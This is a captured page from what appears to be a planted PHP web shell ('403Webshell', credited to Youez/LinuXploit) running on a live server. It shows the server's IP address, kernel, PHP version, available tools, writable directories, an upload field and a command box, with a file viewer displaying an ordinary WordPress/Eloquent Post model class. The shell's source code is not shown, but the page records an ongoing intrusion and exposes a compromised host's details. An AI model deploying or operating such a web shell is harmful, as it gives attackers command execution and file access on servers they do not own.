403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/conductive-digital/app/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/conductive-digital/app/models/Post.php
<?php

	namespace Theme\Models;

	use Illuminate\Database\Eloquent\Model;
	use WP_Query;

	class Post extends Model {

		/** @var string DB table */
		protected $table = 'posts';

		/** @var string The post's post_type */
		protected $post_type = 'post';

		/** @var array Set which rows to treat as dates */
		protected $dates = ['post_date'];

		/**
		 * If the $post_type is set to something besides 'post',
		 * automatically query the post_type to match $this->post_type
		 *
		 * @return \Illuminate\Database\Eloquent\Builder
		 */
		public function newQuery() {
			$query = parent::newQuery();

			if($this->post_type !== 'post') {
				$query->where([
					'post_type'   => $this->post_type,
					'post_status' => 'publish',
				]);
			}

			return $query;
		}

		/**
		 * Wrapper for WordPress's get_posts() call
		 *
		 * @param               $query
		 * @param null|WP_Query $wp_query
		 * @return array
		 */
		public static function getPosts($query, &$wp_query = NULL) {
			$class = get_called_class();
			$self  = new $class();

			// Set default post_type status
			if($self->post_type !== 'post' && !isset($query['post_type'])) {
				$query['post_type'] = $self->post_type;
			}

			// Set default publish status
			if(!isset($query['post_status'])) {
				$query['post_status'] = 'publish';
			}

			$query         = new WP_Query($query);
			$wp_query      = $query;
			$posts         = $query->get_posts();
			$originalPosts = $posts;
			$posts         = $class::hydrate($posts);

			// Store original wp posts
			for($i = 0; $i < count($posts); $i++) {
				$posts[$i]->originalWPPost = $originalPosts[$i];
			}

			return $posts;
		}

		/**
		 * Allow __gets on ACF fields
		 *
		 * @param string $name
		 * @return bool|mixed|null
		 */
		public function __get($name) {
			$value = parent::__get($name);

			if($value === NULL) {
				return get_field($name, $this->getAttribute('ID'), TRUE);
			}

			return $value;
		}

		/**
		 * Returns the post's permalink
		 *
		 * @return false|string
		 */
		public function getPermalinkAttribute() {
			return get_the_permalink($this->ID);
		}

		/**
		 * Return the post's title
		 *
		 * @return string
		 */
		public function getTitleAttribute() {
			return apply_filters('the_title', $this->post_title);
		}

		/**
		 * Return the post's content
		 *
		 * @return string
		 */
		public function getContentAttribute() {
			return apply_filters('the_content', $this->post_content);
		}

		/**
		 * Get the post's thumbnail
		 *
		 * @param string $size
		 * @return string
		 */
		public function thumbnail($size = 'post-thumbnail') {
			return get_the_post_thumbnail_url($this->ID, $size);
		}

		/**
		 * Shorthand for getting the thumbnail w/o specifying size
		 *
		 * @return string
		 */
		public function getThumbnailAttribute() {
			return $this->thumbnail();
		}

		/**
		 * Relationship to terms
		 *
		 * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany
		 */
		//public function terms() {
		//	return $this->belongsToMany(Term::class, 'term_relationships');
		//}

		/**
		 * Get the post's terms
		 *
		 * @return array|int|\WP_Error
		 */
		public function getTermsAttribute() {
			return get_terms([
				'taxonomy'   => 'category',
				'object_ids' => [$this->ID],
			]);
		}

	}

Youez - 2016 - github.com/yon3zu
LinuXploit